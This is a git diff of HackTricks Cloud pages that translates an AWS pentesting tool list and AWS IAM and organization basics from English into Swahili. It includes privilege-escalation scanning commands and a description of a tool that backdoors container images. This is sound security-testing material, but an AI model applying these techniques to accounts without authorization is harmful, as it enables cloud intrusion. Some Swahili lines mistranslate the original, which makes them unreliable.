**definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict. - - Note that pacu **only checks your own privescs paths** (not account wide). - +- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Gundua watumiaji wenye mamlaka zaidi katika mazingira ya AWS yaliyoskanwa, ikiwa ni pamoja na AWS Shadow Admins. Inatumia powershell. Unaweza kupata **ufafanuzi wa sera zenye mamlaka** katika kazi **`Check-PrivilegedPolicy`** katika [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu ni **mfumo wa unyakuzi wa AWS** wa chanzo wazi, ulioandaliwa kwa ajili ya majaribio ya usalama wa kukabili dhidi ya mazingira ya wingu. Inaweza **kuorodhesha**, kupata **makosa ya usanidi** na **kuyatumia**. Unaweza kupata **ufafanuzi wa ruhusa zenye mamlaka** katika [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) ndani ya kamusi ya **`user_escalation_methods`**. +- Kumbuka kwamba pacu **inaangalia tu njia zako za privesc** (sio kwa akaunti nzima). ```bash # Install ## Feel free to use venvs @@ -264,9 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` - -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) - +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ni script na maktaba ya kutambua hatari katika usanidi wa AWS Identity and Access Management (IAM) kwa akaunti ya AWS au shirika la AWS. Inatengeneza mfano wa Watumiaji wa IAM na Majukumu katika akaunti kama grafu iliyoelekezwa, ambayo inaruhusu ukaguzi wa **kuinua mamlaka** na njia mbadala ambazo mshambuliaji anaweza kuchukua ili kupata ufikiaji wa rasilimali au hatua katika AWS. Unaweza kuangalia **permissions used to find privesc** paths katika majina ya faili yanayomalizika na `_edges.py` katika [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) ```bash # Install pip install principalmapper @@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - -- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\ - It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use). - +- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining ni chombo cha Tathmini ya Usalama wa AWS IAM ambacho kinatambua ukiukaji wa haki ndogo na kuzalisha ripoti ya HTML iliyo na kipaumbele cha hatari.\ +Itakuonyesha wateja wanaoweza kuwa **na haki nyingi**, sera za inline na aws **na ni nani **wanachama wanaoingia** kwao. (Haki hizi hazichunguzwi tu kwa privesc bali pia aina nyingine za ruhusa za kuvutia, inapendekezwa kutumika). ```bash # Install pip install cloudsplaining @@ -303,24 +290,20 @@ cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` - -- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations. -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image -- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in. +- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack inakadiria akaunti za AWS kwa **udhaifu wa hijacking wa subdomain** kutokana na usanidi wa Route53 na CloudFront ambao haujashikamana. +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Orodha ya ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image +- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ni chombo ambacho **kinatafuta** kupitia picha za umma za Elastic Block Storage (**EBS**) kwa siri ambazo zinaweza kuwa ziachwa kwa bahati mbaya. ### Audit -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins). - +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit na Aqua ni mradi wa chanzo wazi ulioandaliwa kuruhusu kugundua **hatari za usalama katika akaunti za miundombinu ya wingu**, ikiwa ni pamoja na: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), na GitHub (Haifanyi utafutaji wa ShadowAdmins). ```bash ./index.js --csv=file.csv --console=table --config ./config.js # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` - -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness. - +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ni chombo cha usalama cha Open Source kufanya tathmini za mbinu bora za usalama za AWS, ukaguzi, majibu ya matukio, ufuatiliaji endelevu, kuimarisha na maandalizi ya forensics. ```bash # Install python3, jq and git # Install @@ -331,15 +314,11 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` - -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. Itā€™s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure. - +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox inakusaidia kupata ufahamu wa hali katika mazingira ya wingu yasiyojulikana. Ni zana ya mstari wa amri ya chanzo wazi iliyoundwa kusaidia wapenyezi na wataalamu wengine wa usalama wa kukabili kupata njia za shambulio zinazoweza kutumika katika miundombinu ya wingu. ```bash cloudfox aws --profile [profile-name] all-checks ``` - -- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. - +- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite ni chombo cha ukaguzi wa usalama wa multi-cloud kilicho wazi, ambacho kinawawezesha kutathmini hali ya usalama ya mazingira ya wingu. ```bash # Install virtualenv -p python3 venv @@ -350,18 +329,16 @@ scout --help # Get info scout aws -p dev ``` +- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (inatumia python2.7 na inaonekana haijatunzwa) +- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus ni chombo chenye nguvu kwa AWS EC2 / S3 / CloudTrail / CloudWatch / KMS mbinu bora za kuimarisha (inaonekana haijatunzwa). Inakagua tu akauti zilizowekwa kwa chaguo-msingi ndani ya mfumo. -- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained) -- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system. +### Ukaguzi wa Kudumu -### Constant Audit - -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response. +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian ni injini ya sheria kwa usimamizi wa akaunti na rasilimali za umma za wingu. Inawaruhusu watumiaji **kufafanua sera za kuwezesha miundombinu ya wingu inayosimamiwa vizuri**, ambayo ni salama na imeboreshwa kwa gharama. Inakusanya scripts nyingi za adhoc ambazo mashirika yana nazo kuwa chombo chepesi na chenye kubadilika, chenye vipimo na ripoti zilizounganishwa. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ni jukwaa la **ufuatiliaji wa kuendelea wa utii, ripoti za utii na automatisering ya usalama kwa wingu**. Katika PacBot, sera za usalama na utii zinawekwa kama msimbo. Rasilimali zote zinazogunduliwa na PacBot zinakaguliwa dhidi ya sera hizi ili kupima utii wa sera. Mfumo wa **auto-fix** wa PacBot unatoa uwezo wa kujibu moja kwa moja kwa ukiukaji wa sera kwa kuchukua hatua zilizowekwa awali. +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ni mfumo wa uchambuzi wa data wa **wakati halisi** usio na seva ambao unakupa uwezo wa **kuingiza, kuchambua, na kutoa tahadhari** kuhusu data kutoka mazingira yoyote, **ukitumia vyanzo vya data na mantiki ya tahadhari unayofafanua**. Timu za usalama wa kompyuta zinatumia StreamAlert kuchanganua terabytes za data za kumbukumbu kila siku kwa ajili ya kugundua na kujibu matukio. ## DEBUG: Capture AWS cli requests - ```bash # Set proxy export HTTP_PROXY=http://localhost:8080 @@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem # Run aws cli normally trusting burp cert aws ... ``` - -## References +## Marejeleo - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 02e6e7729..f69207295 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -1,84 +1,78 @@ -# AWS - Basic Information +# AWS - Taarifa za Msingi {{#include ../../../banners/hacktricks-training.md}} -## Organization Hierarchy +## Hierarchi ya Shirika ![](<../../../images/image (151).png>) -### Accounts +### Akaunti -In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them. +Katika AWS kuna **akaunti ya mzizi,** ambayo ni **konteina ya mzazi kwa akaunti zote** za **shirika** lako. Hata hivyo, huwezi kutumia akaunti hiyo kupeleka rasilimali, unaweza kuunda **akaunti nyingine ili kutenganisha miundombinu tofauti za AWS** kati yao. -This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments. +Hii ni ya kuvutia kutoka kwa mtazamo wa **usalama**, kwani **akaunti moja haitakuwa na uwezo wa kufikia rasilimali kutoka akaunti nyingine** (isipokuwa madaraja yameundwa mahsusi), hivyo unaweza kuunda mipaka kati ya matumizi. -Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts. +Kwa hiyo, kuna **aina mbili za akaunti katika shirika** (tunazungumzia akaunti za AWS na si Akaunti za Mtumiaji): akaunti moja ambayo imewekwa kama akaunti ya usimamizi, na akaunti moja au zaidi za wanachama. -- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following: +- **Akaunti ya usimamizi (akaunti ya mzizi)** ndiyo akaunti unayotumia kuunda shirika. Kutoka kwa akaunti ya usimamizi ya shirika, unaweza kufanya yafuatayo: - - Create accounts in the organization - - Invite other existing accounts to the organization - - Remove accounts from the organization - - Manage invitations - - Apply policies to entities (roots, OUs, or accounts) within the organization - - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization. - - It's possible to login as the root user using the email and password used to create this root account/organization. +- Kuunda akaunti katika shirika +- Kualika akaunti nyingine zilizopo katika shirika +- Kuondoa akaunti kutoka shirika +- Kudhibiti mialiko +- Kutumia sera kwa vitu (mizizi, OUs, au akaunti) ndani ya shirika +- Kuwezesha ujumuishaji na huduma za AWS zinazoungwa mkono ili kutoa kazi za huduma katika akaunti zote za shirika. +- Inawezekana kuingia kama mtumiaji wa mzizi kwa kutumia barua pepe na nenosiri vilivyotumika kuunda akaunti hii ya mzizi/shirika. - The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account. - -- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account. - - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it). +Akaunti ya usimamizi ina **majukumu ya akaunti ya kulipa** na inawajibika kwa kulipa malipo yote yanayokusanywa na akaunti za wanachama. Huwezi kubadilisha akaunti ya usimamizi ya shirika. +- **Akaunti za wanachama** zinaunda akaunti zote nyingine katika shirika. Akaunti inaweza kuwa mwanachama wa shirika moja tu kwa wakati mmoja. Unaweza kuambatisha sera kwa akaunti ili kuweka udhibiti kwa akaunti hiyo pekee. +- Akaunti za wanachama **zinapaswa kutumia anwani halali ya barua pepe** na zinaweza kuwa na **jina**, kwa ujumla hawawezi kudhibiti bili (lakini wanaweza kupewa ufikiaji wa hiyo). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` +### **Vitengo vya Shirika** -### **Organization Units** - -Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children. - +Akaunti zinaweza kuunganishwa katika **Vitengo vya Shirika (OU)**. Kwa njia hii, unaweza kuunda **sera** za Vitengo vya Shirika ambazo zita **wekwa kwenye akaunti zote za watoto**. Kumbuka kwamba OU inaweza kuwa na OUs zingine kama watoto. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` - ### Service Control Policy (SCP) -A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**. +A **service control policy (SCP)** ni sera inayobainisha huduma na vitendo ambavyo watumiaji na majukumu wanaweza kutumia katika akaunti ambazo SCP inahusisha. SCPs ni **sawa na sera za ruhusa za IAM** isipokuwa kwamba **hazitoi ruhusa yoyote**. Badala yake, SCPs zinaelezea **ruhusa za juu zaidi** kwa shirika, kitengo cha shirika (OU), au akaunti. Unapounganisha SCP na mzizi wa shirika lako au OU, **SCP inakandamiza ruhusa za viumbe katika akaunti za wanachama**. -This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\ -The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked). +Hii ndiyo NJIA PEKEE ambayo **hata mtumiaji wa mzizi anaweza kuzuiwa** kufanya kitu. Kwa mfano, inaweza kutumika kuzuia watumiaji wasizime CloudTrail au kufuta nakala za akiba.\ +Njia pekee ya kupita hii ni kuathiri pia **akaunti ya mkuu** inayoweka mipangilio ya SCPs (akaunti ya mkuu haiwezi kuzuiwa). > [!WARNING] -> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account. +> Kumbuka kwamba **SCPs zinakandamiza tu wakuu katika akaunti**, hivyo akaunti nyingine hazihusiki. Hii inamaanisha kuwa kuwa na SCP inayokataza `s3:GetObject` haitazuia watu **kupata mfuko wa S3 wa umma** katika akaunti yako. -SCP examples: +SCP mifano: -- Deny the root account entirely -- Only allow specific regions -- Only allow white-listed services -- Deny GuardDuty, CloudTrail, and S3 Public Block Access from +- Kataza akaunti ya mzizi kabisa +- Ruhusu tu maeneo maalum +- Ruhusu tu huduma zilizoorodheshwa +- Kataza GuardDuty, CloudTrail, na S3 Public Block Access kutoka - being disabled +kuondolewa -- Deny security/incident response roles from being deleted or +- Kataza majukumu ya usalama/mjibu wa tukio kuondolewa au - modified. +kubadilishwa. -- Deny backups from being deleted. -- Deny creating IAM users and access keys +- Kataza nakala za akiba kuondolewa. +- Kataza kuunda watumiaji wa IAM na funguo za ufikiaji -Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) +Pata **mifano ya JSON** katika [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) ### ARN -**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this: - +**Amazon Resource Name** ni **jina la kipekee** kila rasilimali ndani ya AWS ina, imeundwa kama ifuatavyo: ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` - Note that there are 4 partitions in AWS but only 3 ways to call them: - AWS Standard: `aws` @@ -86,246 +80,240 @@ Note that there are 4 partitions in AWS but only 3 ways to call them: - AWS US public Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` -## IAM - Identity and Access Management +## IAM - Usimamizi wa Utambulisho na Ufikiaji -IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account. +IAM ni huduma itakayokuruhusu kusimamia **Uthibitishaji**, **Idhini** na **Udhibiti wa Ufikiaji** ndani ya akaunti yako ya AWS. -- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification. -- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it. -- **Access Control** - The method and process of how access is granted to a secure resource +- **Uthibitishaji** - Mchakato wa kufafanua utambulisho na uthibitisho wa utambulisho huo. Mchakato huu unaweza kugawanywa katika: Utambulisho na uthibitisho. +- **Idhini** - Inabainisha ni nini utambulisho unaweza kufikia ndani ya mfumo mara tu unapothibitishwa. +- **Udhibiti wa Ufikiaji** - Njia na mchakato wa jinsi ufikiaji unavyotolewa kwa rasilimali salama. -IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account. +IAM inaweza kufafanuliwa kwa uwezo wake wa kusimamia, kudhibiti na kuongoza mitambo ya uthibitishaji, idhini na udhibiti wa ufikiaji wa utambulisho kwa rasilimali zako ndani ya akaunti yako ya AWS. -### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) +### [Mtumiaji wa mizizi ya akaunti ya AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**. +Unapounda akaunti ya Amazon Web Services (AWS) kwa mara ya kwanza, unaanza na utambulisho mmoja wa kuingia ambao una **ufikiaji kamili kwa huduma zote** za AWS na rasilimali katika akaunti. Hii ni akaunti ya AWS _**mtumiaji wa mizizi**_ na inafikiwa kwa kuingia kwa kutumia **anwani ya barua pepe na nenosiri ulilotumia kuunda akaunti**. -Note that a new **admin user** will have **less permissions that the root user**. +Kumbuka kwamba mtumiaji mpya wa **admin** atakuwa na **idhini ndogo kuliko mtumiaji wa mizizi**. -From a security point of view, it's recommended to create other users and avoid using this one. +Kutoka kwa mtazamo wa usalama, inapendekezwa kuunda watumiaji wengine na kuepuka kutumia huu. -### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) +### [Watumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys). +Mtumiaji wa IAM ni kiumbe ambacho unaunda katika AWS ili **wakilisha mtu au programu** inayotumia hiyo ili **kuingiliana na AWS**. Mtumiaji katika AWS unajumuisha jina na ithibati (nenosiri na funguo za ufikiaji hadi mbili). -When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user. +Unapounda mtumiaji wa IAM, unampa **idhini** kwa kumfanya kuwa **mwanachama wa kundi la watumiaji** ambalo lina sera za idhini zinazofaa (inapendekezwa), au kwa **kuambatanisha sera moja kwa moja** kwa mtumiaji. -Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +Watumiaji wanaweza kuwa na **MFA iliyoanzishwa kuingia** kupitia console. Tokeni za API za watumiaji walioanzisha MFA hazilindwi na MFA. Ikiwa unataka **kudhibiti ufikiaji wa funguo za API za watumiaji kwa kutumia MFA** unahitaji kuashiria katika sera hiyo kwamba ili kutekeleza vitendo fulani MFA inahitaji kuwepo (mfano [**hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI -- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT -- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs). +- **Kitambulisho cha Funguo za Ufikiaji**: 20 ya herufi kubwa za alphanumeric za nasibu kama AKHDNAPO86BSHKDIRYT +- **Kitambulisho cha funguo za siri za ufikiaji**: 40 ya herufi kubwa na ndogo za nasibu: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Haiwezekani kurejesha vitambulisho vya funguo za siri vilivyopotea). -Whenever you need to **change the Access Key** this is the process you should follow:\ -&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ +Wakati wowote unahitaji **kubadilisha Funguo za Ufikiaji** huu ndio mchakato unapaswa kufuata:\ +&#xNAN;_Cunda funguo mpya za ufikiaji -> Tumia funguo mpya kwenye mfumo/programu -> weka ya awali kama isiyo hai -> Jaribu na thibitisha funguo mpya za ufikiaji zinafanya kazi -> Futa funguo za zamani za ufikiaji_ -### MFA - Multi Factor Authentication +### MFA - Uthibitishaji wa Vigezo Vingi -It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\ -You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS. +Inatumika ku **unda kipengele cha ziada kwa uthibitishaji** pamoja na mbinu zako zilizopo, kama vile nenosiri, hivyo kuunda kiwango cha uthibitishaji wa vigezo vingi.\ +Unaweza kutumia **programu ya bure ya virtual au kifaa halisi**. Unaweza kutumia programu kama uthibitishaji wa google bure kuanzisha MFA katika AWS. -Policies with MFA conditions can be attached to the following: +Sera zenye masharti ya MFA zinaweza kuambatanishwa na yafuatayo: -- An IAM user or group -- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic -- The trust policy of an IAM role that can be assumed by a user - -If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\ -Note that **`AssumeRole` credentials don't contain this information**. +- Mtumiaji wa IAM au kundi +- Rasilimali kama vile ndoo ya Amazon S3, foleni ya Amazon SQS, au mada ya Amazon SNS +- Sera ya kuaminika ya jukumu la IAM ambalo linaweza kuchukuliwa na mtumiaji +Ikiwa unataka **kufikia kupitia CLI** rasilimali ambayo **inaangalia MFA** unahitaji kuita **`GetSessionToken`**. Hiyo itakupa tokeni yenye taarifa kuhusu MFA.\ +Kumbuka kwamba **`AssumeRole` ithibati hazina taarifa hii**. ```bash aws sts get-session-token --serial-number --token-code ``` +As [**imesemwa hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), kuna kesi nyingi tofauti ambapo **MFA haiwezi kutumika**. -As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**. +### [Makundi ya watumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) +Kundi la [mtumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) ni njia ya **kuunganisha sera kwa watumiaji wengi** kwa wakati mmoja, ambayo inaweza kurahisisha usimamizi wa ruhusa za watumiaji hao. **Majukumu na makundi hayawezi kuwa sehemu ya kundi**. -An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**. +Unaweza kuunganisha **sera inayotegemea utambulisho kwa kundi la mtumiaji** ili kwamba **watumiaji** wote katika kundi la mtumiaji **wapate ruhusa za sera**. **Huwezi** kutambua **kundi la mtumiaji** kama **`Principal`** katika **sera** (kama sera inayotegemea rasilimali) kwa sababu makundi yanahusiana na ruhusa, si uthibitishaji, na wakuu ni entiti za IAM zilizothibitishwa. -You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities. +Hapa kuna sifa muhimu za makundi ya watumiaji: -Here are some important characteristics of user groups: +- Kundi la mtumiaji **linaweza kuwa na watumiaji wengi**, na **mtumiaji** anaweza **kuwa sehemu ya makundi mengi**. +- **Makundi ya watumiaji hayawezi kuingizwa**; yanaweza kuwa na watumiaji tu, si makundi mengine ya watumiaji. +- Hakuna **kundi la mtumiaji la default ambalo linajumuisha watumiaji wote katika akaunti ya AWS**. Ikiwa unataka kuwa na kundi la mtumiaji kama hilo, lazima ulunde na kupewa kila mtumiaji mpya. +- Idadi na ukubwa wa rasilimali za IAM katika akaunti ya AWS, kama vile idadi ya makundi, na idadi ya makundi ambayo mtumiaji anaweza kuwa mwanachama, zimepangwa. Kwa maelezo zaidi, angalia [IAM na AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). -- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**. -- **User groups can't be nested**; they can contain only users, not other user groups. -- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it. -- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +### [Majukumu ya IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) +**Jukumu la IAM** ni **kama** **mtumiaji**, kwa kuwa ni **utambulisho wenye sera za ruhusa zinazotambulisha kile** kinaweza na hakiwezi kufanya katika AWS. Hata hivyo, jukumu **halina akreditif yoyote** (nenosiri au funguo za ufikiaji) zinazohusishwa nalo. Badala ya kuwa na uhusiano wa kipekee na mtu mmoja, jukumu linakusudia kuwa **linaweza kuchukuliwa na yeyote anayeihitaji (na kuwa na ruhusa za kutosha)**. **Mtumiaji wa IAM anaweza kuchukua jukumu ili kwa muda** kuchukua ruhusa tofauti kwa kazi maalum. Jukumu linaweza **kupewa** [**mtumiaji wa shirikisho**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) anayeingia kwa kutumia mtoa huduma wa utambulisho wa nje badala ya IAM. -An IAM 